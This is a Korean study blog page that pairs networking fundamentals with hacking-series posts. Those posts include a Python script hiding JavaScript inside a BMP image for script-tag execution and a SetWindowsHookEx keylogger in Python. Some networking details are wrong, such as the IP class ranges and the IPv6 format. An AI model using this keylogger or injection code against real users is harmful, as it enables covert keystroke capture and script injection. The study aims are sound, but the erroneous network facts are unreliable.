728x90

작년에 정보 처리 기사 공부하면서 네트워크 분야를 억지로 대충 외운 이후에

 

다시 볼일이 없으니 네트워크에 대한 용어 개념들을 다 까먹어 버리고 말았다.

 

IP 조차 뭐였는지 가물가물해서 이에 대한 개념들을 한번 다시 복습하고자 한다.

 

 

 

IP Address가 뭐더라

 IP라는 용어를 계속 보기는 했는데, 단순히 컴퓨터의 주소 아니면 OSI 7계층 모델 네트워크 계층의 프로토콜 중 하나,  TCP/IP 4계층 모델의 인터넷 계층에 속하는 프로토콜로 이해하고 있었는데, 나오는 용어들이 계속 햇갈리더라

 

 

일단 프로토콜이 무엇인지 생각하면

 

 

프로토콜 Protocol

 프로토콜은 통신에 필요한 절차, 규약을 의미한다. 통신 과정에서 메시지를 어떻게 전달할것인지, 데이터를 어떻게 표현할것인지, 어떤 순서대로 보낼것인지 등 서로 다른 시스템끼리 커뮤니케이션, 소통을 하기 위해서 공통으로 만든 규칙같은걸 프로토콜로 이해하고 있다.

 

 

 

대략적인 개념은 맞긴 하나 위키 내용으로 관련된 개념들을 정리해 나가자

 

 

 

1. IP 주소 Internet Protocol Address

 컴퓨터 네트워크에서 서로 인식하고, 통신하기 위한 번호. 네트워크에 연결된 모든 장치는 이 번호를 가지며, 이 번호로 메시지를 전송하고, 목적지로 전달된다.

* 주의 사항 : IP 라는 단어 자체는 인터넷 프로토콜이라는 규약을 말하므로 IP와 IP address를 구분해서 보아야 한다.

 

2. IPv4, IPv6

 IPv4는 일반적으로 사용하는 아이피주소로 주소의 범위는 32비트로 0 ~ 255사이의 십진수 네개로 표현하며 사이에 '.'으로 구분한다. 그래서  0.0.0.0 ~ 255.255.255.255까지의 범위를 가지며 이론적으로 42억9496만개 정도가 있는데, 이 중에서 일부 번호, 주소는 특별한 용도로 예약되어 있으며 대표저거으로 127.0.0.1은 로컬 호스트로 자기 자신을 가리킨다.

 

 IPv6는 모든 장치에 32비트 주소를 부여하기에는 부족하여 나온 아이피 주소로 128bit로 크기가 늘었으며, 일반적으로 두 자리 16진수를 :구분자로 8개를 쓴다.

ref : 

 

 

2. DNS Domain Name Servise

 아이피 주소는 통신하기 위한 번호이지만 사람들이 기억하고 외우기는 어려운 단점이 있다. 이런 숫자로 식별된 주소와 사람이 인식하기 쉬운 주소인 도메인 주소를 변환해주도록 하는 서비스를 말한다. 

* 알파넷 시절 네트워크에 연결된 모든 컴퓨터들의 숫자 주소와 호스트 이름들을 HOSTS.txt라는 텍스트 파일에 저장하여 관리했었다고 한다.

ref : ko.wikipedia.org/wiki/%EB%8F%84%EB%A9%94%EC%9D%B8_%EB%84%A4%EC%9E%84_%EC%8B%9C%EC%8A%A4%ED%85%9C

 

 

3. 인터넷 프로토콜 IP : Internet Protocol

 송신 장치/호스트와 수신 장치/호스트가 서로 패킷 교환 네트워크에서 정보를 주고받는데 사용되는 규약으로 OSI 7계층에서 호스트 주소 지정과 패킷 분할, 조립을 담당. IP 정보는 패킷 혹은 데이터 그램이라고 하는 덩어리로 나누어져 전송되며. 제대로 전송되었는지 신뢰할수 없는 비신뢰성을 가진다.

ref : ko.wikipedia.org/wiki/%EC%9D%B8%ED%84%B0%EB%84%B7_%ED%94%84%EB%A1%9C%ED%86%A0%EC%BD%9C

 

4. 패킷 교환 Packit switching

 컴퓨터 네트워크 상에서 통신 방식 중 하나로 가장 널리 사용되는 통신 방법. 데이터를 여러개의 작은 블록인 패킷으로 나누어서 다른 경로들로 경로 제어가 되는 방식. 자원을 패킷 단위로 분할하여 사용해서 효율적임.

ko.wikipedia.org/wiki/%ED%8C%A8%ED%82%B7_%EA%B5%90%ED%99%98

 

5. 패킷과 교환 방법

 하나의 파일은 패킷 교환망에서 전송되기 위해서 작은 크기의 데이터들로 나누어지고, 각 개별 데이터는 발신 주소와 목적 주소가 추가되어 하나의 패킷이 됨. 이러한 패킷들이 목적지로 경로 제어(라우팅)을 통해 보내지고, 목적지에 도착후 패키지들을 원래의 파일로 복원시키는 작업을 한다.

 

6. 가상 회선 방식 Virtual Circuit

 관련된 패킷들을 서로 다른 경로가 아닌 모두 같은 경로를 통해 전송하는 방법

 

7. 패킷의 구성

 패킷의 구성 요소로 1) 전송하고자 하는 데이터 블록/일부분인 페이로드 payload와 2)주소지 정보(발신지, 목적지 주소), 관리 정보(헤더, 망이 패킷을 목적지까지 보내는데 필요한 내용)을 가지고 있다. 

 

8. 회선 교환망 circuit switched network

 독립된 장치들의 1:1 연결을 회선circuit/채널 channel이라고 부르는데, 발신자와 수신자가 통신을 하기 이전에 미리 전용 연결/회선을 준비/설정하여야 하는 네트워크를 회선 교환망이라고 부른다. 

 

 

 

 

 

 

 

9. 회선 교환과 패킷 교환의 차이

- 회선 교환의 경우 출발지 부터 목적지까지 실제 물리적 회선이 연결되지만, 패킷 교환 방식에선 물리적인 회선이 존재하지않는다.

- 회선 교환 방식은 모든 패킷이 동일한 경로를 따라가나, 패킷 교환 방식에선 각 패킷들이 서로다른 경로로 목적지에 간다.

- 패킷 교환 방식은 보내야 할것들이 적은 경우 모든 대역폭을 사용하지 않아 대역복 낭비를 하지않아 효율적이다.

 

 

 

 

apposite-tech.com/blog/packet-switching-vs-circuit-switching/

 

 

 

10. 넷 마스크 Netmask

 IPv4 아이피 주소에서 네트워크 주소와 호스트 주소를 구분하는 32비트로된 마스크. 예시로 11111111 11111111 11111111 00000000의 경우 8비트 4개로 이루어진 마스크로 10진법 표기시 255.255.255.0으로 클래스 C의 호스트 주소만 부분망/서브넷으로 분리하여 선택하는 부분망 마스크/서브넷마스크임.

terms.naver.com/entry.nhn?docId=864414&cid=42346&categoryId=42346

 

11. 부분망/서브넷 Subnet

 아이피주소를 네트워크 부분과 호스트 부분으로 구분하기 위해 사용하는 마스크. 아이피 주소와 서브넷 마스크를 and 연산을 한 결과가 네트워크 부분이 되며, 나머지 부분은 호스트 부분이 된다.

ko.wikipedia.org/wiki/%EB%B6%80%EB%B6%84%EB%A7%9D

 

 

 

12. 게이트웨어 Gateway

 일반적으로 다른 네트워크, 통신망과 연결할수 있는 통로/출입구를 게이트웨이라고 말하며, 네트워크 내 통신을 제어하는 컴퓨터와 ISP 게이트웨이 노드가 있다. 그리고 게이트웨이 노드는 프록시 서버나 방화벽 서버로도 동작한다.

 

 라우터와 동일한 개념으로 볼수 있는데, 라우터도 다른 네트워크를 연결한다는 점에 게이트웨이라고 볼 수 있다. 가장 흔하게 볼 수 있는 게이트에이로 인터넷 공유기가 있는데, 로컬 네트워크 통신과 외부 인터넷에서의 통신 프로토콜이 다르기 때문이며 게이트 웨이/라우터/방화벽 모든 역활을 동시에 하는 장치라고 볼 수 있겠다.

terms.naver.com/entry.nhn?docId=3572665&cid=59088&categoryId=59096

 

 

13. 라우터, 라우팅

 네트워크 전송 최소 단위인 패킷을 목적지에 보내기위해 최적의 경로를 찾아주느 기기, 최적의 경로를 찾아내는 과정으로 가장 짧은 시간에 전송할수 있는 경로를 말함. 

 

 

 

14. OSI 모형

 국제 표준화 기구 ISO에서 개발한 네트워크 프로토콜을 다양한 계층으로 나누어 설명하는것으로 OSI  7계층이라고 부른다. 이 모델을 프로토콜을 기능별로 나누었다.

제 1 계층  물리 계층 : 은 네트워크 하드웨어 전송 기술로. 어떤 기술로 물리적으로 연결시킬지 다룸.

     ex ) RS-232, V.35, ISDN

제 2 계층 데이터 링크 계층 : 네트워크에 존재하는 장치간에 논리적인 연결을 보장하기 위한 오류 제어와 흐름제어를 담당하는 계층.

     ex ) ethernet

제 3 계층 네트워크 계층 : 출발지에서 목적지까지 경로를 찾아주기 위한 계층으로 라우딩, 흐름 제어, 세그멘테이션, 오류 제어 등을 수행함.

     ex ) 라우터, 스위치, IP, ICMP

제 4 계층 전송 계층 : 엔드투 엔드 장치간 신뢰성 있는 데이터를 주고 받을수 있도록 하기 위한 계층으로 오류 검출, 흐름제어, 중복 검사 등       ex ) TCP, UDP

제 5 계층 세션 계층 : 엔드 투 엔드 장치간 연결이 성립이 되었을때 통신 연결 상황인 세션을 관리하기 위한 계층으로 동시 송수신,

                            반이중 방식, 전이중 방식이나 유휴, 종료, 다시시작 등 수행

제 6 계층 표현 계층 : 코드 간의 번역을 담당하며 시스템 간에 서로 다른 표현을 사용하면서 생기는 차이들을 처리해주는 계층으로. 간단한  

                            예시로 EBCDIC로 인코딩 된 문서 파일을 아스키로 인코딩된 파일로 바꿔주는일도 표현 계층의 일임.

제 7 계층 응용 계층 : 응용 프로세스와 같이 활용하여 서비스를 수행하는 계층. 대표적인 응용서비스로 텔넬, 메일 등

      ex ) HTTP, SMTP, FTP, SNMP, TELNET

 

ko.wikipedia.org/wiki/OSI_%EB%AA%A8%ED%98%95

 

 

 

 

15. RS-232

 1960년에 재정된 PC와 모뎀 등 다양한 장치들을 연결하기 위한 직렬 방식의 인터페이스. 인터페이스를 포트라고도 부르며 일반적으로 직렬 포트라고 부른다. 원래 터미널 단말기와 모뎀 접속용으로 사용된 것을 텔레타이프라이터와 PC같은 데이터 단말 장치 DTE와 모뎀 같은 데이터 회선 종단 장치 DCE를 접속시켜 데잍전송할 수 있도록 전기, 기계적 특성을 정의한 것.

RS-232 25핀 커낵터(DB25)

 25핀 단자 규격은 단말장치가 아니라 모뎀쪽 연결기 규격으로 정해져있어 모뎀에 붙어있는 경우가 많다. 가장 널리 이용되는 규격으로는 IBM사가 만든 9핀 단자/직렬 포트가 있겠다.

 

 하지만 이 규격은 오래된 인터페이스이며, 최근에는 USB나 이더넷이 역활을 대체하고 있다. 하지만 노이즈에 큰 영향을 받지 않고 멀리 신호를 전달하며, 단순하기때문에 아직까지도 유용하게 사용된다.

ko.wikipedia.org/wiki/RS-232

 

 

 

16. 직렬포트 Serial Port

 컴퓨터 환경에서 말하는 직렬 포트란 한번에 하나의 비트 단위로 정보를 주고 받을수 있는 직렬 통신을 위한 물리적인 인터페이스를 말한다. 이더넷, USB와 같은 인터페이스 방식들도 직렬스트림으로 데이터를 전달하지만. 직렬 포트라는 이름은 일반적으로 RS-232표준을 따르는 하드웨어를 가르킨다. 원래 주변 장치와 연결할 목적으로 개발되었으나 USB가 등장해서 사용되지 않고, 네트워크에서는 이더넷이 사용되고 있다. 

직렬 포트에 쓰이는 DE-9 수 단자

ko.wikipedia.org/wiki/%EC%A7%81%EB%A0%AC_%ED%8F%AC%ED%8A%B8

 

 

m.blog.naver.com/hatesunny/220790654612

17. 이더넷 Ethernet

 네트워크 기술 중 하나로 많이 사용되는 규격으로 OSI 모델 물리 계층에서 신호와 배선, 데이터 링크 계층에서는 MAC 패킷과 프로토콜 형식 정의. 이전의 토큰 링이나 FDDI 등을 대체하여 사용되고 있다.

 

 이더넷은 네트워크에 연결된 각 기기들이 48비트 길이의 고유의 맥 주소를 가지고 있고, 이 주소로 서로 데이터 주고받을수 있도록 만들어 졌다. 전송 매체로 UTP, STP 케이블을 사용하며 각 장치를 연결시키는데 허브, 스위치, 리피터 등이 사용된다.

 

 이더넷은 주로 CSMA/CD 반송파 감지 다중 접속 및 충돌 탐지 기술을 사용하여 여러 컴퓨터들이 하나의 전송 매체를 공유할수 있게 되었다.

 

 

 

18. IP 주소 클래스

 IP 주소는 0.0.0.0 ~ 255.255.255.255까지 있지만 5개의 클래스로 정의하여 효율적인 관리가 가능하다.

A Class : 맨 앞이 0인 경우 0.0.0.0 ~ 127.255.255.255, 기본 서브넷 마스크가 255.0.0.0인 클래스. 호스트 아이디는 2의 24제곱

B Class : 맨 앞이 10인 경우. 128.0.0.0 ~ 191.255.255.255 . 기본 서브넷 마스크가 255.255.0.0인 클래스. 호스트 아이디는 2의 16제곱

C class : 맨앞이 110인경우. 192.0.0.0 ~ 223.255.255.255. 기본 서브넷 마스크가 255.255.255.0인 클래스. 호스트 아이디는 2의 8제곱

D Class : 맨앞이 1110인경우 224.0.0.0 ~ 255.255.255.255. D 클래스는 멀티캐스트 주소로 예약되어있어 서브넷 마스크를 사용안함.

E Class : 맨앞이 1111인 경우 240.0.0.0 ~ 255.255.255.255. 브로드캐스트 주소로 예약됨.

 

 

19. 맥 주소 Mac address

 각 네트워크 장치가 가지고 있는 고유의 물리적인 주소로 12자리 숫자로 구성. 앞의 6자리(24비트)는 벤더(제조사), 뒤의 6자리(@5비트)는 각 벤터 제품 번호. 컴퓨터 네트워크 장치들을 구분하기 위한 식별 번호로 논리적인 주소인 아이피 주소를 할당 받기 위해서는 맥 주소가 필요하다.

 

20. 유니캐스트, 브로드캐스트, 멀티캐스트, 애니캐스트

유니캐스트 : 출발지와 목적지가 1:1 대응인 일대일통신

브로드캐스트 : 같은 네트워크에 있는 모든 장치들에게 보내는 통신

멀티 캐스트 : 여러 명에게 보내는 일대다 통신

애니캐스트 : 가장 가까이 위치한 장치, 노드와 통신하는 방식

 

19. 네트워크 아이디, 호스트 아이디

 네트워크 아이디란 아이피 주소의 호스트 부분이 모두 0인 아이디 . 이 네트워크를 나타내거나 라우팅 경로로 사용하기 위한 예약된 값이라 설정이 불가. 192.168.1.1/24라는 주소가 있을 때, 192.168.1.0(24비트, 네트워크 아이디), 1(8비트, 호스트 아이디).

 

20. 서브넷 브로드캐스트 주소

 네트워크 아이디 호스트 부분의 값이 (모두 이진수에서 1인) 255인 주소를 말한다. 아이피 주소가 192.168.1.1/24인 경우 네트워크 아이디가 192.168.1.0이며, 서브넷 브로드캐스트 주소는 192.168.1.255가 된다. 이 네트워크 아이디와 서브넷 브로드캐스트 주소 2개를 뺀 나머지  IP주소가 실제 사용가능하다.

 

21. 가구 주문으로 보는 네트워크 아이디와 호스트아이디 그리고 서브네팅

 홍대리라고 하는 사람이 장롱이 필요해 가구를 주문했는데, 배달원이 주소를 보고 "부산 광역시 해운대구 우동 792번지"인걸 확인하고 가구를 가져왔다. 하지만 어디에 두어야 될지를 몰라 홍대리에게 물어보았고, 홍 대리는 방 한쪽 구석을 가리키며 정확한 위치를 알려주었다. 홍대리 집까지 오기위한 주소를 네트워크 아이디, 방 한쪽 구석이라는 정확한 위치를 안내하는데 사용되는게 호스트 아이디의 역활이 된다.

 

 하나의 아이피 주소는 네트워크 아이디 + 호스트 아이디로 구성된다. 서브넷 마스크로 네트워크 아이디를 높이거나, 호스트 아이디를 줄임으로서 네트워크아이디와 호스트아이디를 보고 목적지가 어느 네트워크에 속하는지를 알 수 있다.

korean-daeddo.blogspot.com/2015/12/ip.html

 

 

22. 공인아이피와 사설 아이피

공인아이피 Public IP Address : 인터넷 서비스 제공자로부터 임대받아 사용할수 있는 주소

사설 아이피 Private IP Address : 공적 환경이 아닌 사설/내부 환경에서 사용하는 주소로 인터넷 서비스제공자로부터 임대받지 않아도 사용할 수 있다.

A Classs : 10.0.0.0 ~ 10.255.255.255

B Class : 172.16.0.0 ~ 172.31.255.255

C Class : 192.168.0.0 ~ 192.168.255.255

 

 

23. DHCP Dynamic Host Configuration Protocol 동적 호스트 구성 프로토콜

 호스트 아이피 구성 관리를 단순화 하기 위한 아이피 표준안으로 DHCP서버가 아이피 주소와 기타 환경 정보들을 클라이언트들에게 동적으로 할당하는 방법이 정의되었다. 

 

 역사로 1984년 옛날 장치들이 적절한 아이피 주소를 받을수 있도록 역순 주소 결정 프로토콜 RARP가 도입되었으나 데이터링크 계층에서 수행되다보니 다양한 서버 플랫폼에서 구현하기 힘들었으며 개별 네트워크 링크에서만 존재했었다. 하지만 1985년 BOOTP가 이를 대신하는데, 릴레이 에이전트 개념이 되어 BOOTP  패킷 포워드를 허용하여 중앙 BOOTP 서버가 수많은 서브넷 호스트들을 서비스하는게 가능해졌다. 이후 1993년 BOOTP를 기반으로한 DHCP가 나왔는데, 커넥션 풀로 아이피 주소들을 동적으로 할당하고 사용하지 않는 경우 회수하거나 다양한 추가적인 설정들을 클라이언트에게 전달하는데 사용할수 있게 되었다.

 

 다시 정리하자면 DHCP는 동적 호스트 구성 프로토콜로서 클라이언트/사용자에게 네트워크에 접속할 수 있도록 정해진 규칙으로 DHCP 서버는 클라이언트에게 IP 주소와 필요한 설정 정보들을 자동적으로 할당하는 역활을 수행한다. 

ko.wikipedia.org/wiki/%EC%A0%84%EC%86%A1_%EC%A0%9C%EC%96%B4_%ED%94%84%EB%A1%9C%ED%86%A0%EC%BD%9C

 

300x250

'컴퓨터과학 > 통신, 보안' 카테고리의 다른 글

해킹 - 7. 이미지 해킹  (0) 2020.07.30
해킹 - 6. 키보드 후킹  (0) 2020.07.29
해킹 - 5. 후킹  (0) 2020.07.29
해킹 - 4. 윈도우 어플 해킹 개요  (0) 2020.07.29
해킹 - 3. 관련 용어  (0) 2020.07.28
728x90

이미지 해킹

- 이미지 파일에 스크립트 추가하여 해킹 도구를 활용 가능

- 비트맵 파일에 js 삽입해보자

 

비트맵 파일

- 구성 : 매직 넘버, 데이터

- 매직 넘버 : 첫 2바이트, 비트맵 파일임을 식별

- 다음 4바이트 : 비트맵 파일 크기 표기

https://ko.wikipedia.org/wiki/BMP_%ED%8C%8C%EC%9D%BC_%ED%8F%AC%EB%A7%B7

 

 

 

비트맵에 삽입할 스크립트 작성

- 브라우저의 쿠키를 저장하고 알람 창으로 출력하는 스크립트

name = 'id';
value = 'Mammamia';

var todayDate = new Date();
todayDate.setHours(todayDate.getDate() + 7); //쿠키 유효기간
document.cookie = name + "=" + escape(value) + "; path=/expires="
    + todayDate.toGMTString() + ""; //쿠키 생성
alert(document.cookie)

 

비트맵 파일에 스크립트 추가하는 코드

- 매직파일 뒤 데이터 부분은 주석

- 주석처리된 데이터 영역 이후로 js코드 삽입

# -*- coding: utf-8 -*- 
fname = "windows/hello.bmp"

pfile = open(fname, "r+b")
buff = pfile.read()
# *와 /를 공백으로 리플레이스
buff.replace(b'\x2A\x2F', b'\x00\x00')
pfile.close()


pfile = open(fname,"w+b")
pfile.write(buff)
#커서를 앞에서 2바이트 뒤로 이동 -> 매직넘버 바로뒤
pfile.seek(2,0)
#주석문 샆입 /*   \x2F -> /,   \x2A -> *
pfile.write(b'\x2F\x2A')
pfile.close()


pfile = open(fname, "a+b") #append binary mode
#fname 파일 맨 뒤에 주석문 닫는 */추가 -> 비트맵의 데이터 영역 전체가 주석처리
pfile.write(b'\xFF\x2A\x2F\x3D\x31\x3B')
#주석 처리된 데이터 영역 뒤에 js 코드 삽입
pfile.write(open('windows/2_hello.js','rb').read())
pfile.close()

 

 

비트맵 파일 hello.bmp

- 이미지

 

 

바이너리 에디터로 본 비트맵

- 첫 2비트는 매직 비트로 42, 4D = BM -> 비트맵 파일 의미

 

 

이미지 해킹 후 바이너리 에디터

- 매직넘버뒤에 주석문 /* 추가

- 맨 바닥에 주석 닫고 */

- js 코드 삽입됨

 

 

 

 

hello.bmp를 열고, 스크립트 동작하는 html 코드 작성

<img src="hello.bmp"/>
<script src="hello.bmp"></script>

 

- 이미지에 삽입한 js코드를 이용해 alert 띄우는건 성공했다.

- 오타때문인지 내용은 안뜨지만

 

 

- 개발자 도구로도 이미지 맨 끝에 js 코드가 추가된것을 확인할 수 있다.

 => 정상적인 이미지에 이런식으로 코드 삽입이 가능하다.

 

 

300x250

'컴퓨터과학 > 통신, 보안' 카테고리의 다른 글

네트워크 기초 복습  (0) 2021.03.05
해킹 - 6. 키보드 후킹  (0) 2020.07.29
해킹 - 5. 후킹  (0) 2020.07.29
해킹 - 4. 윈도우 어플 해킹 개요  (0) 2020.07.29
해킹 - 3. 관련 용어  (0) 2020.07.28
728x90

키보드 후킹하는 코드를 작성했는데

 

setwindowshookex()함수에서 에러가 발생하는듯 하다

 

원인은 모르겠지만

 

안돌아가는걸 그냥 버리자니 아깝고 업로드

 

 

 

# -*- coding: utf-8 -*- 
import sys
from ctypes import *
from ctypes.wintypes import MSG
from ctypes.wintypes import DWORD


# windll로 user32.dll, kernel32.dll을 가져옴
user32 = windll.user32
kernel32 = windll.kernel32

# 사용되는 변수
WH_KEYBOARD_LL=13
WM_KEYDOWN=0x0100
CTRL_CODE = 162

#class definition
class KeyLogger:
    def __init__(self):
        self.lUser32 = user32
        self.hooked = None

    #훅 설정 정의. 모니터링 이벤트는 WH_KEYBOARD_LL, 범위는 전역
    def installHookProc(self, pointer):
        # 훅타입, 훅프로시저, dll 핸들, 후킹할 스레드 아이디(전역 -> 0)
        self.hooked = self.lUser32.SetWindowsHookExA(
            WH_KEYBOARD_LL,
            pointer,
            kernel32.GetModuleHandleW(None),
            0
        )
        print self.hooked
        if not self.hooked:
            return False
        return True
    
    # release hook resource
    def uninstallHookProc(self):
        if self.hooked is None:
            return
        self.lUser32.UnhookWindowsHookEx(self.hooked)
        self.hooked = None

# setwindowshookexa() 함수에서 필요한 프로시저 인자와 타입 지정. 함수 포인터
def getFPTR(fn):
    CMPFUNC = CFUNCTYPE(c_int, c_int, c_int, POINTER(c_void_p))
    return CMPFUNC(fn)

#메시지 종류가 WM_KEYDOWN이면 화면에 출력. CTRL이면 훅 제거
# wParam : virtual key code, lparam : extral info
def hookProc(nCode, wParam, lParam):
    if wParam is not WM_KEYDOWN:
        return user32.CallNextHookEx(KeyLogger.hooked, nCode, wParam, lParam)
    hookedKey = chr(lParam[0])
    print hookedKey
    if (CTRL_CODE == int(lParam[0])):
        print "Ctrl pressed. call uninstallHook()"
        KeyLogger.uninstallHookProc()
        sys.exit(-1)
    return user32.CallNextHookEx(KeyLogger.hooked, nCode, wParam, lParam)

# GetMessageA()함수로 큐 모니터링. 메시지오면 훅 체인으로 전달
def startKeyLog():
    msg = MSG()
    user32.GetMessageA(byref(msg), 0, 0, 0)

#키로거 생성
KeyLogger = KeyLogger()
#훅 프로시저 함수포인터 획득
pointer = getFPTR(hookProc)
#키로거로 훅 프로세서 생성
if KeyLogger.installHookProc(pointer):
    print "installed keyLogger"
startKeyLog()

 

 

 

300x250

'컴퓨터과학 > 통신, 보안' 카테고리의 다른 글

네트워크 기초 복습  (0) 2021.03.05
해킹 - 7. 이미지 해킹  (0) 2020.07.30
해킹 - 5. 후킹  (0) 2020.07.29
해킹 - 4. 윈도우 어플 해킹 개요  (0) 2020.07.29
해킹 - 3. 관련 용어  (0) 2020.07.28
728x90

프로시저, 콜백 함수

- 기능 동작시에 호출할 함수 혹은 동작들?

 

훅 hook

- 메시지, 마우스 클릭, 키 입력 등 이벤트를 가로체는 기능

- OS는 훅 체인으로 리스트 관리

- 훅 관련 기능 동작들을 훅 프로시저

 

 

훅 체인

- 훅 프로시저 포인터들 목록

 

훅의 종류

- 전역 훅 : OS 전반에 훅 설정

- 지역 훅 : 특정 스레드에서만 훅 설정

 

 

키보드 후킹 처리 과정

1. 훅 설정 : user32.dll-SetWindowsHookExA()로 훅 설정과 프로시저 등록

2. 훅 체인 등록 : 훅 체인 맨 앞에 훅 프로시저 포인터 등록

3. 키보드 입력 : 사용자가 키 입력시 키보드 컨트롤러가 신호 변환해서 키보드 드라이버로 전달

4. 시스템 큐 : 키보드 메시지가 시스템 큐로 입력

5. 스레드 큐 : 시스템 큐로부터 메시지 전달받음. 

6. 메시지 후킹 : 스레드 큐로부터 메시지가 훅 프로시저로 전달

7. 훅 프로시저 : 지정 동작 수행

8. 훅 체인 포인터 : 메시지 처리 후 윈도우로 전달

 

 

 

 

 

300x250

'컴퓨터과학 > 통신, 보안' 카테고리의 다른 글

해킹 - 7. 이미지 해킹  (0) 2020.07.30
해킹 - 6. 키보드 후킹  (0) 2020.07.29
해킹 - 4. 윈도우 어플 해킹 개요  (0) 2020.07.29
해킹 - 3. 관련 용어  (0) 2020.07.28
해킹 - 2. 해킹 종류  (1) 2020.07.28
728x90

윈도우 API

- 윈도우 어플리케이션 개발시 사용하는 API

- 이 API로 OS에서 제공하는 기능 사용

- Win32 : 32비트 윈도우 API

 

 

일반적인 윈도우 API

- 동적 라이브러리 DLL로 제공

- 다양한 언어에서 호출하여 사용 가능

종류 특징
 kernel32.dll 파일 시스템, 디바이스, 프로세스 등 기본 리소스 접근 기능
user32.dll ui 지원, 윈도우 창 생성 관리, 화면 및 메시지 표현
gdi32.dll 모니터 등 출력장치 관리 지원
comdig32.dll 파일 입출력 및 표준 대화 창 관리
comctl32.dll 상태 바, 진행 바 등 응용프로그램 등 접근 지원
shell32.dll 쉘 기능 접근 지원
netapi32.dll 다양한 통신 기능을 응용프로그램에서 쓸수있도록 지원
advapi32.dll 레지스트리, 윈도우 서비스 시작 종료, 계정 관리 등 

 

ctypes

- 파이썬으로 ctypes를 이용하여 DLL과 C언어 변수 사용 가능

ctypes 기능 설명
DLL 로드 windll.kernel32, windll.user32
API 호출 windll.user32. SetWindowsHookExA
함수 인자 자료형 지정 printf = libc.printf
print.argtypes = [c_char_p, c_int, c_double]
printf("String %s, int %d, bouble %f\n", "hello", 1, 3.14) 
함수 반환값 타입 지정 libc.strchr.restype = c_char_p
자료형 예시 i = c_int(42)
pi = POINTER(c_int)
포인터 전달 f = c_float()
s = create_string_buffer("\000" *32)
windll.msvcrt.sscanf("1 3.14 wow", "%f %s", byref(f), s)
콜백 함수 선언 def py_cmp_func(a, b):
    print "py_cmp_func", a, b
    return 0

CMPFUNC = CFUNCTYPE(c_int, POINTER(c_int), POINTER(c_int))
cmp_func = CMPFUNC(py_cmp_func)
windll.msvcrt.qsort(ia, len(ia), sizeof(c_int), cmp_func)
구조체 선언 class POINT(Structure):
    _fileds_ = [("x", c_int), ("y", c_int)]

point = POINT(10, 20)

 

300x250

'컴퓨터과학 > 통신, 보안' 카테고리의 다른 글

해킹 - 6. 키보드 후킹  (0) 2020.07.29
해킹 - 5. 후킹  (0) 2020.07.29
해킹 - 3. 관련 용어  (0) 2020.07.28
해킹 - 2. 해킹 종류  (1) 2020.07.28
해킹 - 1. 해킹 개요  (0) 2020.07.28
728x90

컴퓨터 구조의 필요성

-OS, 어플리케이션 등을 알기 위해서 컴퓨터의 구조와 동작 과정에 대해 먼저 학습이 필요함.

- 특히 키 로거를 구현하기 위해서 입출력 장치에 대해서 이해 필요

 

 

컴퓨터 구조

- CPU : 명령어를 해석하여 제어 신호를 주변 장치에 전달

- 메모리 : 데이터 저장

- 주변 장치 : 입력 장치로 키보드와 마우스, 출력 장치로 모니터와 프린터, 기능 확장을 위한 네트워크/그래픽카드

- 버스 : CPU가 메모리, 주변장치 간 데이터 전송을 위한 통로

 

 

CPU

- ALU Arithmetic Lo : 산술 논리연산 수행

- CU Control Unit : 기억장치로부터 받은 명령어를 해석하여 제어 신호를 보내는 유닛

- 레지스터 : 고속 데이터 저장 장소. 해킹시 레지스터 값 변화를 주시해야함 

- 버스 인터페이스

 

 

메모리

- 프로세서가 수행되는 공간으로 메모리 상의 값을 조작 함

- 논리적 메모리 구조 : 힙, 스택, 코드, 데이터

- ROM, RAM이 존재 

 

 

 

운영체제

- SW, HW를 제어하는 프로그램

- 개발자는 OS가 제공하는 API만 알면 됨

- SW 기능 : 프로세스 생성, 소멸, 동기화, 스케출링 수행, 파일 시스템 관리

- HW 기능 : 주변장치와 CPU, 센서 관리

 

 

프로세스

- OS의 제어를 받는 프로그램의 실행 단위 -> PCB Process Control Block으로 표현

 * PCB 자료구조 구성 : PID, Process Status, Counter, Register, 스케줄링 정보 등

- API 후킹, DLL 인잭션을 하기 위해서 프로세스 동작 이해 필요

 

 

프로세스와 메모리, 해킹

- 프로세스는 데이터를 메모리에 적재하여 수행.

- 메모리에 적재되는 데이터 종류 : 주소, 변수, 객체, 반환값

- 해킹과 메모리 : 소스 코드 인젝션, 버퍼 오버플로우 등은 메모리의 데이터를 변경하여 수행

 

 

논리적인 메모리 구조

- 코드 영역 : 실행 파일들을 이루는 명령어들이 적재되는 공간 -> 함수, 제어문, 상수 등

- 데이터 영역 : 전역 변수, 정적 변수, 구조체 등 적재

- 힙 영역 : 프로세스가 임의로 할당하는 공간(동적 할당). ex) malloc 사용하는 경우

- 스택 영역 : 지역 변수, 함수 호출 정보 저장 공간

 

 

 

네트워크 관련 용어

- 식별자 : 컴퓨터를 구분하기 위한 수단으로 MAC, IP

- 프로토콜 : 데이터를 전송하기 위한 규칙으로 주소, 포트번호 등 정보의 모음을 하나의 프로토콜이라 할 수 있음.

- 라우팅 : 데이터를 빠르게 전송할수 있는 경로를 찾는 기능

 

 

 

OSI 7계층

- Open System Interconnection

- 서로 다른 장치/시스템간에 통신을 수행할수 있도록 하는 표준 모델

- 상위에서 하위 층으로 내려갈때 헤더와 테일이 추가됨

7. 응용계층 : 프로그램에 서비스, API 제공(ex. FTP)

6. 표현 계층 : 데이터 표현 방식을 규정(ex. JPEG, ASCII, UTF-8)

5. 세션 계층 : 데이터를 전송하기 위한 프로세스간 가상의 통신 경로

4. 전송 계층 : 시스템간 연결이 확립되면 데이터를 전송하기 위한 정의(ex. TCP, UDP) 

3. 네트워크 계층 : 서로 다른 시스템이 통신하기 위한 최적의 경로 선정(ex. 라우터, IP, ICMP)

2. 데이터 링크 계층 : 논리적인 연결 정의 (ex. 이더넷, HDLC)

1. 물리 계층 : 물리적인 연결을 정의(ex. 리피터, 허브)

 

 

300x250

'컴퓨터과학 > 통신, 보안' 카테고리의 다른 글

해킹 - 5. 후킹  (0) 2020.07.29
해킹 - 4. 윈도우 어플 해킹 개요  (0) 2020.07.29
해킹 - 2. 해킹 종류  (1) 2020.07.28
해킹 - 1. 해킹 개요  (0) 2020.07.28
Iot 보안  (0) 2020.07.25
728x90

해킹의 종류

- 네트워크 해킹 : 패킷 훔쳐보기나 DOS 공격

- 어플리케이션 해킹 : 악의적 라이브러리 주입

- 웹 해킹 : 웹의 취약점 악용

- 시스템 해킹 : 커널 영역에서 데이터나 루트 권한 취득

 

 

웹해킹

- 가장 흔한 해킹 분야

- 웹의 구성 요소 : 브라우저, 웹서버, DB

- XSS Cross-Site Scripting : 게시글에 악의적 스크립트 삽입하여 정보 추출

- 피싱 phishing : 비슷한 웹사이트를 만들어 정보 취득

